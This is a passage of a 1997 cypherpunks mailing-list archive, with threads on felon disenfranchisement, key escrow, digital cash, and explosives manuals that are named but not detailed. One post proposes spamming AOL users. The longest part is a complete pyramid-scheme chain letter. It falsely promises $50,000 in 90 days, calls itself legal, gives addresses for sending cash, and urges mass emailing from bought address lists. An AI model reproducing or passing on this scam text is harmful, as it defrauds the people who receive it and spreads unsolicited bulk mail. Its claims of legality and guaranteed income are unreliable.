>apprehend the miscreant.

Heh - it's already that way in some places if you try to
buy a car with cash :-)

>> (Somehow most people think it's OK that convicted felons lose their rights
>> to vote and to have guns. (Once they're released, of course.) Do they think
>> convicted felons no longer have religious freedom? Can no longer write as
>> they wish? Jeesh.)
>
>I find it interesting that they find the right to vote as dangerous as the
>right to own a gun.  

After the results of the 1990 Census were in, New Jersey was re-gerrymandering
their Congressional District boundaries.  Aside from the usual goals
(making sure the Republicans, who were then in power, had solid districts),
there were the usual concerns about racial balance, so they wanted to
create a district in the east-central side of the state that was mostly 
minority (largely Hispanic, in this case).  The first cut didn't have
enough minorities, so they moved the boundary to include Rahway Prison.
The legal system being what it is, the residents are largely minority .....
and most of them can't vote :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 07:42:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <19970628163155.33743@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 28, 1997 at 11:13:17AM -0700, Tim May wrote:
> At 10:11 AM -0700 6/28/97, Kent Crispin wrote:
> 
> >So how is that different than the current situation without
> >cryptography?  If people couldn't live with key escrow, how can they
> >live with the current situation?  Answer:  they live with the current
> >situation because the government abuses you describe are kept below
> >the revolution threshold.  The same would be the case with key escrow.
> 
> Not intending to squelch the thread by invocation of Godwin's Law, but how
> does Nazi Germany fit into this model?

?How does Nazi Germany fit into any model?

> In case this isn't clear, the concern is that a GAK system is very
> dangerous should a Nazi-like regime develop (or even should a J. Edgar
> Hoover and/or Craig Livingstone regime develop). While regimes  of the past
> few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
> and Clinton haters out there), the deployment of GAK would be a tempting
> target for future despots and satraps.
> 
> Thanks, but I'll keep my own records, my own crypto keys, and my own money.

Of course it would.  So would current bank/brokerage/business records. 
So would your personal records (if they were interesting) and money
(if there was enough of it).  Certainly keys in a government TTP would
be a easier target than some.  But (since we are here) Nazi Germany is
proof that there are plenty of other targets, perhaps not quite as
juicy, but just as viable.  And Nazi Germany is also proof that strong
crypto really doesn't do much good when the rubber hoses can be
deployed without hinderance.

In fact, your safety and wealth depends in large measure on the
protections provided by that government you scorn.  In any healthy
tyranny the jackboots would have been on your throat long ago,
regardless of your little arsenal, and your money would be purchasing 
toys for the rulers.

> >But so what? Right now the government has intimate knowledge of your
> >finances through tax records and other sources, and has the power to
> >put liens on your property and your cash for all kinds of reasons.
> 
> This overstates the knowledge the government has of our finances. 

Perhaps.  It's a mere matter of degree, though -- the point is that 
the government already has power to compel reporting in many cases, 
and life goes on...

[...]

> My view on GAK is quite simple: let those who wish to escrow their keys do
> so. Let those who don't wish to keep their own keys and use crypto
> algorithms of any strength they desire.

Well, good.  That's my view of it, also.

> >Assuming certain models of key escrow, yes.  Under other models, no.
> >But imagine the worst case -- GAK creates a huge unwieldy expensive
> >computerized infrastructure and associated bureacracy.  What
> >happens?  Businesses find other ways to protect their data and
> >transactions, huge economic inefficiencies develop, and the whole
> >thing collapses and goes away.
> >
> >It's amazing how little faith libertarians have in the market system,
> >isn't it?  :-)
> 
> A cheap shot, even taking into account Kent Crispin's shilling for GAK.

Like shooting fish in a barrel, really.  Anyway, you know that I don't
favor GAK, so where are you coming from?  All I have ever said is 
that there is strong corporate demand for enterprise level key 
recovery. 

> If a key escrow system is in fact purely voluntary, who cares? I, for one,
> don't.
> 
> (Though I often look at "voluntary" systems with an eye toward what I call
> the "flag day scenario," where a legislative or executive-level "switch" is
> thrown and what was once voluntary becomes mandatory. I oppose government
> involvement in infrastructures which could too easily become mandatory.)

That's the rub.  You say "voluntary -- who cares", but fight tooth and
nail when customer demand forces companies like PGP and TIS to
implement some form of key recovery -- rather than face the facts, you
claim it's all government pressure and brainwashing, and advocate
employee sabotage of company products.  Well, there certainly is
government pressure, but there is *also* legitimate, informed, demand. 

[Your description of legitimate, informed, demand deleted]

> And, as nearly all of us (_nearly_ all of us!) have pointed out,
> repeatedly, whatever the putative need for key recovery is within
> corporations, there is essentially no need for such a thing for
> *communications*! The only viable customer for a communications key is
> someone who has intercepted the communication!

Certainly.

[...]

> So, will government please drop all consideration of "key recovery" for
> _communications_?
> 
> (I rather doubt this.)

I rather doubt it, also.  However, escrow of communications keys is,
in my opinion, not only completely illegitimate, but idiotic from
a technical point of view.  So, I think this effort on the part of the
gov will fail.  

> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
> 
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

Some might see this as ultimate fascism...in the long run, putting the
force monopoly purely under control of those with money.  In any 
case, speculation.

> (See, for example, the cover story in "Wired" several months ago, where the
> blurb was about Walter Wriston "sounding like a cypherpunk.")

I generally don't read "Wired".  Geez -- I don't even have time to
read the "archives"...  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:19:36 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <ms619D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.
>
> TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
> TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
> Techniques: Incendiaries"
>
> Both paperbacks can be purchased at any gun show for about $5 each.
>
> You also should take a look at the
> "ATF - Explosives Law and Regulation" aka "The Orange Book".
>
> It is available for free at any ATF field office. No, they won't ask for
> ID. In fact, they couldn't care less who comes by to pick up a copy.

How about running them through a scanner and putting them on a Web site?

[For various reason I'm typing this under Windows 95. Yikes! :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:18:58 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <Pine.GSO.3.95.970628125717.1880A-100000@cp.pathfinder.com>
Message-ID: <cw619D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



CENSORSHIP!!!!

Declan McCullagh <declan@pathfinder.com> writes:

> No. Never.
>
> -Declan
>
> On Sat, 28 Jun 1997 CrShNDy@aol.com wrote:
>
> > I want on the mailing list please
> >
> >
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 06:59:58 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: <33B5A070.95C56E16@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



CrShNDy@aol.com wrote:

> I want on the mailing list please

   Awww, great, another one.  RTFM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 08:00:22 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: <PT719D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jeremiah A Blatz <jer+@andrew.cmu.edu> writes:
> Just for the record, _The Anarchist's Cookbook_ is full of
> purposefully dangerous misinformation. It is written so that if you
> follow enough of its recipies, you *will* kill yourself. I suggest old
> archives or the newsgroup rec.pyrotechnics, which, until is self-
> censored itself, provided excellent safety advice as well as how to
> make things go boom. I'd imagine that there is still a wealth of
> information about safety.

I have the cookbook and can post it on a Web site. A while back I asked
Jim Bell if he'd be willing to write short comments, like "this is
bullshit" and "this is dangerous" and "here's a better way to make
it stink".  If anyone knows chemistry and isn't in jail yet, please
consider doing this wortwhile project.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 07:39:31 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706281603.JAA02917@fat.doobie.com>
Message-ID: <33B5AB2C.D94F2237@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer wrote:

> >I want on the mailing list please
> >
> >
> haha

   Yes, this is funny.  I rarely get to see people of this intelligence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 29 Jun 1997 11:05:52 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: <3.0.2.32.19970628193921.03fcbd50@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:54 PM 6/28/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>
>Jeremiah A Blatz <jer+@andrew.cmu.edu> writes:
>> Just for the record, _The Anarchist's Cookbook_ is full of
>> purposefully dangerous misinformation. It is written so that if you
>> follow enough of its recipies, you *will* kill yourself. I suggest old
>> archives or the newsgroup rec.pyrotechnics, which, until is self-
>> censored itself, provided excellent safety advice as well as how to
>> make things go boom. I'd imagine that there is still a wealth of
>> information about safety.
>
>I have the cookbook and can post it on a Web site. A while back I asked
>Jim Bell if he'd be willing to write short comments, like "this is
>bullshit" and "this is dangerous" and "here's a better way to make
>it stink".  If anyone knows chemistry and isn't in jail yet, please
>consider doing this wortwhile project.

I can give one minor example from memory...

The recipe for Nitrogen Tri-Iodide has four steps to it.  The first two
make the proper chemical.  The second two are drying agents that will make
the stuff blow up in your face.

The book has a number of other risky recipes.  It also contains the
infamous (false) "Banana Peel" rumor about how smoking banana peels can get
you high. A recipe for LSD that is pretty poor.  A bunch of other bogus
drug stuff... 

There are much better sources for info on explosives.  The government
publications do a pretty good job.  (I have seen a few on "how to make
explosives from common items" and the like.  Training for military
personnel trapped behind enemy lines and traing local governments for
uprisings and the like...  The CIA even did a comic book for distribution
in South America.



---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: grant@letzlink.com
Date: Sun, 29 Jun 1997 11:13:11 +0800
To: cypherpunks@toad.com
Subject: Let's Link
Message-ID: <199706290251.TAA03603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Let's consider linking!

I invite you to visit Let's Link and add your site along with a brief description of your site content to our Internet Resource Center ... perhaps, our Let's Link & Links. 

Although, our "Add Your Link" service is FREE, we do ask you to reciprocate with a LINK at your site .... not required but highly appreciated.  

Our site visitation now exceeds 2,300 per/day!  25% Europe.... 70% North America... 5% Asia

Regards,

Frank Bertotti 
http://www.letzlink.com


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 08:28:08 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <33B5B258.F5BAA05A@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer wrote:

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

   Simply becuase AOL users are stupid, although a few smart ones exist
(they can't be *too* smart if they use AOL), but in small numbers.  I
suggest we spam or set up a bot to spam any AOL user who does this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 00:18:28 +0800
To: Alan <alano@teleport.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.GSO.3.96.970627131625.22839D-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970628212839.98A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > If someone commits a crime,
> > lock him or her up or shoot them, or whatever. But once the penalty is
> > over, all normal rights return. The right to vote, the right to free
> > speech, the right to own weapons, etc.

Depends on your perspective. I can see a valid case for a penalty for say 
armed robbery that entails a lifetime, or 5/10/X year ban on ownership 
of guns. Other violent armed crime like this could also incur such a 
penalty as part of the sentence and I would consider this reasonable, 
however, banning ownership of guns for any felony is definitely not at 
all reasonable.

> > (Somehow most people think it's OK that convicted felons lose their rights
> > to vote and to have guns. (Once they're released, of course.) Do they think
> > convicted felons no longer have religious freedom? Can no longer write as
> > they wish? Jeesh.)

Speech cannot harm someone, if someone has commited a violent crime and 
are likely to do so again, banning ownership of firearms sounds 
reasonable to me, of course this is not going to be an effective ban, but 
that is beside the point.

> I find it interesting that they find the right to vote as dangerous as the
> right to own a gun.  

Indeed, I can see no justification whatsoever for banning participation 
in the democratic process as an ongoing penalty for commision of crime 
after the main sentence is completed.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 29 Jun 1997 10:20:31 +0800
To: cypherpunks@toad.com
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: <v0302092bafdb61eb89e3@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


<Tune: "America the beautiful"> "My country tis of thee, land of
plutography..." </T>

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daragh Lawlor <Pule@worldnet.att.net>
Date: Sun, 29 Jun 1997 06:40:14 +0800
To: <cypherpunks@Algebra.COM>
Subject: **Important** Please Read
Message-ID: <18161.235609.64160475 cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain




Dear friend,
This is a "ONE-TIME MESSAGE" you were randomly
selected to received this.
 There is no need to reply to remove, you will
 receive no further mailings
from us. 
If you have interest in this GREAT INFORMATION,
please do not click reply, use the contact
information in this message.  Thank You!

This is not a chain letter and you are not on a
mailing list. The following income opportunity is
one you may be interested in taking a look at. It
can be started with VERY MINIMAL outlay and the
income return is TREMENDOUS! <> <> <> <> <> <> <>
<> <> <> <> <> <> <> <> <> You are about to make
at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!... <> <> <>
<> <> <> <> <> <> <> <> <> <> <> <> <> 
The enclosed information is something I almost let
slip through my fingers. Fortunately, sometime
later I re-read everything and gave some thought
and study to it. My name is Christopher Erickson.
Two years ago, the corporation I worked at for the
past twelve years down-sized and my position was
eliminated. After unproductive job interviews, I
decided to open my own business. Over the past
year, I incurred many unforeseen financial
problems. I owed my family, friends, and creditors
over $35,000. The economy was taking a toll on my
business and I just couldn't seem to make ends
meet. I had to refinance and borrow against my
home to support my family and struggling business.
I truly believe it was wrong for me to be in debt
like this. AT THAT MOMENT something significant
happened in my life and I am writing to share my
experience in hopes that this will change your
life FOREVER....FINANCIALLY!!! 

In mid-December, I received this program via email. Six months prior
to receiving this program I had been sending away
for information on various business opportunities.
All of the programs I received, in my opinion,
were not cost effective. They were either too
difficult for me to comprehend or the initial
investment was too much for me to risk to see if
they worked or not. One claimed I'd make a million
dollars in one year...it didn't tell me I'd have
to write a book to make it. But like I was saying,
in December of '95 I received this program. I
didn't send for it, or ask for it, they just got
my name off a mailing list. THANK GOODNESS FOR
THAT!!! After reading it several times, to make
sure I was reading it correctly, I couldn't
believe my eyes. Here was a MONEY-MAKING
PHENOMENON. I could invest as much as I wanted to
start, without putting me further in debt. After I
got a pencil and paper and figured it out, I would
at least get my money back. After determining that
the program is LEGAL and NOT A CHAIN LETTER, I
decided "WHY NOT". Initially I sent out 10,000
emails. It only cost me about $15.00 for my time
on-line. The great thing about email is that I
didn't need any money for printing to send out the
program, only the cost to fulfill my orders. I am
telling you like it is, I hope it doesn't turn you
off, but I promised myself that I would not
"rip-off" anyone, no matter how much money it cost
me! A good program to help do this is Ready Aim
Fire, an email extracting and mass mail program @
http://microsyssolutions.com/raf/ 

In less than one week, I was starting to receive orders for REPORT
#1. By January 13th, I had received 26 orders for
REPORT #1. When you read the GUARANTEE in the
program, you will see that "YOU MUST RECEIVE 15 TO
20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU
DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My
first step in making $50,000 in 20 to 90 days was
done. By January 30th, I had received 196 orders
for REPORT #2. If you go back to the GUARANTEE,
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS
UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST
IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than
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with more coming in every day. I paid off ALL my
debts and bought a much needed new car. Please
take time to read the attached program, IT WILL
CHANGE YOUR LIFE FOREVER! Remember, it wont work
if you don't try it. This program does work, but
you must follow it EXACTLY! Especially the rules
of not trying to place your name in a different
place. It doesn't work, you'll lose out on a lot
of money! REPORT #2 explains this. Always follow
the guarantee, 15 to 20 orders for REPORT #1, and
100 or more orders for REPORT #2 and you will make
$50,000 or more in 20 to 90 days. I AM LIVING
PROOF THAT IT WORKS !!! If you choose not to
participate in this program, I'm sorry. It really
is a great opportunity with little cost or risk to
you. If you choose to participate, follow the
program and you will be on your way to financial
security. If you are a fellow business owner and
you are in financial trouble like I was, or you
want to start your own business, consider this a
sign. I DID! 

Sincerely, 
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PS Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up on a kitchen table? 

IT'S AWESOME! THREW IT AWAY" "I had received this
program before. I threw it away, but later
wondered if I shouldn't have given it a try. Of
course, I had no idea who to contact to get a
copy, so I had to wait until I was emailed another
copy of the program. Eleven months passed, then it
came. I DIDN'T throw this one away. I made $41,000
on the first try." Dawn W., Evansville, IN 

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'remember, Alan, there is no free lunch in life.
You get out of life what you put into it.' Through
trial and error and a somewhat slow frustrating
start, I finally figured it out. The program works
very well, I just had to find the right target
group of people to email it to. So far this year,
I have made over $63,000 using this program. I
know my dad would have been very proud of me."
Alan B., Philadelphia, PA 


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM 
By the time you have
read the enclosed information and looked over the
enclosed program and reports, you should have
concluded that such a program, and one that is
legal, could not have been created by an amateur.
Let me tell you a little about myself. I had a
profitable business for ten years. Then in 1979 my
business began falling off. I was doing the same
things that were previously successful for me, but
it wasn't working. Finally, I figured it out. It
wasn't me, it was the economy. Inflation and
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what happened to the unemployment rate...because
many of you know from first hand experience. There
were more failures and bankruptcies than ever
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knew what they were doing invested wisely and
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never had anything to save or invest, were moving
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will never allow you to "move up" or "get rich",
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not change it in any way. It works exceedingly
well as it is now. Remember to email a copy of
this exciting program to everyone that you can
think of. One of the people you send this to may
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one of them!. Remember though, the more you send
out, the more potential customers you will reach.
So my friend, I have given you the ideas,
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"THINK ABOUT IT" Before you delete this program
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vanish when your first orders come in. IT WORKS!
Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING
PROGRAM WILL MAKE YOU $$$$$$ Let's say that you
decide to start small, just to see how it goes,
and we'll assume you and all those involved send
out 2,000 programs each. Let's also assume that
the mailing receives a .5% response. Using a good
list the response could be much better. Also many
people will send out hundreds of thousands of
programs instead of 2,000. But continuing with
this example, you send out only 2,000 programs.
With a 5% response, that is only 10 orders for
REPORT #1. Those 10 people respond by sending out
2,000 programs each for a total of 20,000. Out of
those .5%, 100 people respond and order REPORT #2.
Those 100 mail out 2,000 programs each for a total
of 200,000. The .5% response to that is 1,000
orders for REPORT #3. Those 1,000 send out 2,000
programs each for a 2,000,000 total. The .5%
response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!
Your total income in this example is $50 + $500 +
$5000 + $50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY
NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF
SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.
Believe me, many people will do that and more! By
the way, your cost to participate in this is
practically nothing. You obviously already have an
internet connection and email is FREE!!! REPORT#3
will show you the best methods for bulk emailing
and purchasing email lists. THIS IS A LEGITIMATE,
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follow the instructions, and your dream will come
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is the sales tool of the future. Take advantage of
this non-commercialized method of advertising
NOW!! The longer you wait, the more people will be
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Harvard Business School, and both Stanford
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that between 50% and 65% of all goods and services
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mid to late 1990's. This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the
US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45
people become millionaires everyday through
Multi-Level Marketing. INSTRUCTIONS We at Erris
Mail Order Marketing Business, have a method of
raising capital that REALLY WORKS 100% EVERY TIME.
I am sure that you could use $50,000 to $125,000
in the next 20 to 90 days. Before you say "Bull",
please read the program carefully. This is not a
chain letter, but a perfectly legal money making
opportunity. Basically, this is what we do: As
with all multi-level business, we build our
business by recruiting new partners and selling
our products. Every state in the USA allows you to
recruit new multi-level business partners, and we
offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE FILLED THROUGH THE MAIL, so you are
not involved in personal selling. You do it
privately in your own home, store or office. This
is the GREATEST Multi-level Mail Order Marketing
anywhere: Step (1) Order all four 4 REPORTS listed
by NAME AND NUMBER. Do this by ordering the REPORT
from each of the four 4 names listed on the next
page. For each REPORT, send $5 CASH and a SELF-
ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to
the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra
for postage. It is essential that you specify the
NAME and NUMBER of the report requested to the
person you are ordering from. You will need ALL
FOUR 4 REPORTS because you will be REPRINTING and
RESELLING them. DO NOT alter the names or sequence
other than what the instructions say. IMPORTANT:
Always provide same-day service on all orders.
Step (2) Replace the name and address under REPORT
#1 with  yours, moving the one that was there down
to REPORT #2. Drop the name and address under
REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4. The name and address that was
under REPORT #4 is dropped from the list and this
party is no doubt on the way to the bank. When
doing this, make certain you type the names and
addresses ACCURATELY! DO NOT MIX UP MOVING
PRODUCT/REPORT POSITIONS!!! Step (3) Having made
the required changes in the NAME list, save it  as
a text (.txt) file in it's own directory to be
used with whatever email program you like. Again,
REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4) Email
a copy of the entire program (all of this is very
important) to everyone whose address you can get
your hands on. Start with friends and relatives
since you can encourage them to take advantage of
this fabulous money-making opportunity. That's
what I did. And they love me now, more than ever.
Then, email to anyone and everyone! Use your
imagination! You can get email addresses from
companies on the internet who specialize in email
mailing lists. These are very cheap, 100,000
addresses for around $35.00. IMPORTANT: You won't
get a good response if you use an old list, so
always request a FRESH, NEW list. You will find
out where to purchase these lists when you order
the four 4 REPORTS. ALWAYS PROVIDE SAME-DAY
SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order
each REPORT by NUMBER and NAME*** ALWAYS SEND A
SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR
EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME
AND NUMBER
__________________________________________________
 REPORT #1
 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM: 
T.R. Enterprises
800 S. Pacific Coast Highway, #8-425
Redondo Beach,
CA 90277
__________________________________________________
____
 REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES" 
ORDER REPORT #2 FROM:
J.K.Enterprises
 P. O.  Box 10893
 Blacksburg, VA
24060
__________________________________________________
______
 REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Hendon Enterprises
P.O. Box 188
Seguin, TX 
__________________________________________________
_____ REPORT #4 "EVALUATING MULTI-LEVEL SALES
PLANS" ORDER REPORT #4 FROM: 
78156Prosperity Group
PO Box 968
Englewood, FL 

__________________________________________________
______ CONCLUSION I am enjoying my fortune that I
made by sending out this program. You too, will be
making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing. To be
financially independent is to be FREE. Free to
make financial decisions as never before. Go into
business, get into investments, retire or take a
vacation. No longer will a lack of money hold you
back. However, very few people reach financial
independence, because when opportunity knocks,
they choose to ignore it. It is much easier to say
"NO" than "YES", and this is the question that you
must answer. Will YOU ignore this amazing
opportunity or will you take advantage of it? If
you do nothing, you have indeed missed something
and nothing will change. Please re-read this
material, this is a special opportunity. If you
have any questions, please feel free to write to
the sender of this information. You will get a
prompt and informative reply. My method is simple.
I sell thousands of people a product for $5 that
costs me pennies to produce and email. I should
also point out that this program is legal and
everyone who participates WILL make money. This is
not a chain letter or pyramid scam. At times you
have probably received chain letters, asking you
to send money, on faith, but getting NOTHING in
return, NO product what-so-ever! Not only are
chain letters illegal, but the risk of someone
breaking the chain makes them quite unattractive.
You are offering a legitimate product to your
people. After they purchase the product from you,
they reproduce more and resell them. It's simple
free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4
FINANCIAL AND BUSINESS REPORTS. The information
contained in these REPORTS will not only help you
in making your participation in this program more
